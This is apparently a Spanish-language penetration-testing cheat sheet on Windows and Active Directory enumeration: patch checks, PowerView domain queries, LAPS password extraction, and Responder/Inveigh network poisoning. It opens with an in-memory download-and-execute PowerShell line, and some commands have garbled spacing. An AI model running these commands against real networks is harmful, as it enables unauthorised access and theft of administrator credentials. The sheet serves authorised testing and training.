1. Enumeración de la máquina local
Sysinternals de Windows
Sysinternals Suite - Windows Sysinternals | Microsoft Docs
Descargar en memoria scripts
Copy $ iex ((New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Collectors/SharpHound.ps1'))
comprobar si un equipo no tiene parches de seguridad instalados
Copy $ Get-WmiObject - Class win32_OperatingSystem | select version , buildnumber
Copy $ wmic qfe list full | findstr / i hotfix
En la web https://patchchecker.com/ podemos encontrar, según la versión de build de Windows, qué vulnerabilidades le afectarían debido a falta de actualizaciones, y puede ser usado para escalar privilegios.
2. Enumeración del dominio
Listar los usuarios del dominio
Copy Get-DomainUser | select - ExpandProperty cn
Listar los equipos del dominio
Listar los dominios del forest
Listar los tipos de "confianza" (trust) de los dominios/forest
La información de un grupo del dominio
Copy Get-DomainGroup "Domain Admins"
Listar los miembros de un grupo del dominio
Copy Get - DomainGroupMember "Domain Admins" | select - ExpandProperty membername
Listar shares del dominio, ignorando los default shares y check access
Copy Find-DomainShare - ExcludeStandard - ExcludePrint - ExcludeIPC - CheckShareAccess
Copy Get-DomainOU - name Servers | % { Get-DomainComputer - SearchBase $_.distinguishedname } | select dnshostname
Listar política de contraseñas
Copy ( Get-DomainPolicy ). "SystemAccess"
Usuarios con el SID History (powerview)
Copy Get-DomainUser - LDAPFilter '(sidHistory=*)'
Listar shares del dominio que el usuario actual tiene acceso
Copy Find-DomainShare - CheckShareAccess
Comprobar configuracion de bitlocker
Copy manage-bde.exe - status
Copy Invoke-Inveigh - HTTP N - NBNS Y - ConsoleOutput Y - EvadeRG Y
LAPS
Copy Install-Module - Name [ AdmPwd.PS ](http: // admpwd.ps / )
Si LAPS se encuentra instalado en el equipo
Copy REG QUERY "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft Services\AdmPwd" / v AdmPwdEnabled 2> nul
Copy Get-ChildItem 'c:\program files\LAPS\CSE\Admpwd.dll'
Identificar si se encuentra instalado en el DC
Copy Get-ChildItem 'C:\Program Files\LAPS\CSE\Admpwd.dll'
Copy Get-ChildItem 'C:\Program Files (x86)\LAPS\CSE\Admpwd.dll'
Listar el atributo ms-mcs-admpwd
Copy Get-NetComputer | Select-Object 'name' , 'ms-mcs-admpwd'
Copy Get-DomainComputer - identity < Hostname > - properties ms - Mcs - AdmPwd
Copy Get-ADComputer -Filter * -Properties 'ms-Mcs-AdmPwd' | Where-Object { $_.'ms-Mcs-AdmPwd' -ne $null } | Select-Object 'Name','ms-Mcs-AdmPwd'
Lista el usuario o grupos que tienen permisos de lectura a la propiedad de LAPS para un equipo específico
Copy Get-NetComputer -ComputerName 'LAPSCLIENT.test.local' -FullData | Select-Object -ExpandProperty distinguishedname | ForEach-Object { $*.substring($*.indexof('OU')) } | ForEach-Object {Get-ObjectAcl -ResolveGUIDs -DistinguishedName $*} | Where-Object {($*.ObjectType -like 'ms-Mcs-AdmPwd') -and ($*.ActiveDirectoryRights -match 'ReadProperty')} | ForEach-Object {Convert-NameToSid $*.IdentityReference} | Select-Object -ExpandProperty SID | Get-ADObject
Listar la ACL para todas las OU donde algún usuario tenga permisos de lectura sobre el atributo LAPS
Copy Get-NetOU | Get-ObjectAcl -ResolveGUIDs | Where-Object {($_.ObjectType -like 'mc-ms-AdmPw') -and ($_.ActiveDirectoryRights -match 'ReadProperty')}| ForEach-Object{$_ | Add-Member NoteProperty 'IdentitySID' $(Convert-NameToSid $_.IdentityReference).SID;$_}
Network poissoning
Una vez estamos conectados a la red de la infraestructura, con Responder podemos suplantar los servicios de LLMNR y NBT-NS, ya que se transmiten vía UDP
Copy responder -I <InterfazDeRed>
responder -I <InterfazDeRed> -Prdwv
Bloodhound
Es la herramienta por excelencia para la enumeración de un dominio.
Para ello, se ha creado una sección explícita de la herramienta.
Last updated 9 months ago